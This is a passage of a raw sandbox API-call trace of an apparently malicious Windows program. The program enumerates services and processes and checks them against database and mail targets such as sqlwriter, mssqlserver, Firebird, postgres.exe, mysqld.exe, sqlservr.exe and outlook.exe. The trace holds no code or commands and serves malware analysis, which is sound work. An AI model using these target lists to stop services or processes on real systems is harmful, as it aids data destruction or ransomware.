(lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0060.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0060.888] lstrlenW (lpString="CscService") returned 10 [0060.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0060.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0060.888] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0060.888] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0060.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0060.888] lstrlenW (lpString="DcomLaunch") returned 10 [0060.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0060.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0060.888] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0060.889] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0060.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0060.889] lstrlenW (lpString="Dhcp") returned 4 [0060.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0060.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0060.889] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0060.889] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0060.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0060.889] lstrlenW (lpString="Dnscache") returned 8 [0060.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0060.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0060.889] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0060.889] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0060.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0060.889] lstrlenW (lpString="DPS") returned 3 [0060.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0060.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0060.889] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0060.889] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0060.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0060.889] lstrlenW (lpString="eventlog") returned 8 [0060.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0060.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0060.889] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0060.889] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0060.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0060.889] lstrlenW (lpString="EventSystem") returned 11 [0060.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0060.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0060.889] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0060.889] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0060.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0060.889] lstrlenW (lpString="gpsvc") returned 5 [0060.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0060.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0060.890] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0060.890] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0060.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0060.890] lstrlenW (lpString="iphlpsvc") returned 8 [0060.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0060.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0060.890] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0060.890] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0060.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0060.890] lstrlenW (lpString="LanmanServer") returned 12 [0060.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0060.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0060.890] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0060.890] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0060.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0060.890] lstrlenW (lpString="LanmanWorkstation") returned 17 [0060.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0060.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0060.890] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0060.890] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0060.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0060.890] lstrlenW (lpString="lmhosts") returned 7 [0060.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0060.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0060.890] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0060.890] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0060.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0060.890] lstrlenW (lpString="MMCSS") returned 5 [0060.890] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0060.890] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0060.890] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0060.890] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0060.890] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0060.890] lstrlenW (lpString="MpsSvc") returned 6 [0060.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0060.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0060.891] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0060.891] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0060.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0060.891] lstrlenW (lpString="Netman") returned 6 [0060.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0060.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0060.891] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0060.891] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0060.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0060.891] lstrlenW (lpString="netprofm") returned 8 [0060.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0060.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0060.891] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0060.891] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0060.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0060.891] lstrlenW (lpString="NlaSvc") returned 6 [0060.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0060.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0060.891] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0060.891] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0060.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0060.891] lstrlenW (lpString="nsi") returned 3 [0060.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0060.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0060.891] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0060.891] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0060.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0060.891] lstrlenW (lpString="PcaSvc") returned 6 [0060.891] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0060.891] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0060.891] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0060.891] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0060.891] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0060.892] lstrlenW (lpString="PlugPlay") returned 8 [0060.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0060.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0060.892] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0060.892] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0060.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0060.892] lstrlenW (lpString="Power") returned 5 [0060.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0060.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0060.892] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0060.892] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0060.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0060.892] lstrlenW (lpString="ProfSvc") returned 7 [0060.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0060.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0060.892] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0060.892] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0060.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0060.892] lstrlenW (lpString="RpcEptMapper") returned 12 [0060.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0060.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0060.892] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0060.892] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0060.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0060.892] lstrlenW (lpString="RpcSs") returned 5 [0060.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0060.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0060.892] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0060.892] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0060.892] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0060.892] lstrlenW (lpString="SamSs") returned 5 [0060.892] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0060.892] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0060.893] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0060.893] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0060.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0060.893] lstrlenW (lpString="Schedule") returned 8 [0060.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0060.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0060.893] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0060.893] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0060.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0060.893] lstrlenW (lpString="SENS") returned 4 [0060.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0060.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0060.893] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0060.893] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0060.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0060.893] lstrlenW (lpString="ShellHWDetection") returned 16 [0060.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0060.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0060.893] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0060.893] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0060.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0060.893] lstrlenW (lpString="Spooler") returned 7 [0060.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0060.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0060.893] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0060.893] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0060.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0060.893] lstrlenW (lpString="SysMain") returned 7 [0060.893] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0060.893] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0060.893] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0060.893] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0060.893] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0060.894] lstrlenW (lpString="Themes") returned 6 [0060.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0060.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0060.894] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0060.894] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0060.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0060.894] lstrlenW (lpString="TrkWks") returned 6 [0060.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0060.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0060.894] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0060.894] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0060.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0060.894] lstrlenW (lpString="UxSms") returned 5 [0060.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0060.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0060.894] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0060.894] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0060.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0060.894] lstrlenW (lpString="WdiServiceHost") returned 14 [0060.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0060.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0060.894] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0060.894] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0060.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0060.894] lstrlenW (lpString="WdiSystemHost") returned 13 [0060.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0060.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0060.894] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0060.894] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0060.894] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0060.894] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0060.894] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0060.894] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0060.895] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0060.895] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0060.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0060.895] lstrlenW (lpString="Winmgmt") returned 7 [0060.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0060.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0060.895] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0060.895] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0060.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0060.895] lstrlenW (lpString="WPDBusEnum") returned 10 [0060.895] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0060.895] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0060.895] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0060.895] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0060.895] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0060.895] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39506f0 | out: hHeap=0x4b0000) returned 1 [0060.895] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x164 [0060.899] Process32FirstW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0060.899] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0060.899] lstrlenW (lpString="System") returned 6 [0060.899] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0060.899] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0060.899] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0060.899] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0060.900] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0060.900] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0060.900] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0060.900] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0060.900] lstrlenW (lpString="smss.exe") returned 8 [0060.900] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0060.900] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0060.900] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0060.900] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0060.900] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0060.900] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0060.900] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0060.900] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.901] lstrlenW (lpString="csrss.exe") returned 9 [0060.901] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0060.901] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0060.901] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0060.901] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0060.901] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0060.901] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0060.901] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0060.901] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0060.901] lstrlenW (lpString="wininit.exe") returned 11 [0060.901] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0060.901] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0060.901] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0060.901] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0060.901] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0060.901] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0060.902] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0060.902] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0060.902] lstrlenW (lpString="csrss.exe") returned 9 [0060.902] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0060.902] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0060.902] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0060.902] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0060.902] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0060.902] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0060.902] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0060.903] lstrlenW (lpString="winlogon.exe") returned 12 [0060.903] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0060.903] lstrlenW (lpString="services.exe") returned 12 [0060.903] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0060.903] lstrlenW (lpString="lsass.exe") returned 9 [0060.904] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0060.904] lstrlenW (lpString="lsm.exe") returned 7 [0060.904] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.904] lstrlenW (lpString="svchost.exe") returned 11 [0060.904] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.905] lstrlenW (lpString="svchost.exe") returned 11 [0060.905] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.905] lstrlenW (lpString="svchost.exe") returned 11 [0060.905] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.905] lstrlenW (lpString="svchost.exe") returned 11 [0060.905] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0060.905] lstrlenW (lpString="svchost.exe") returned 11 [0060.905] Process32NextW (in: hSnapshot=0x164, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, 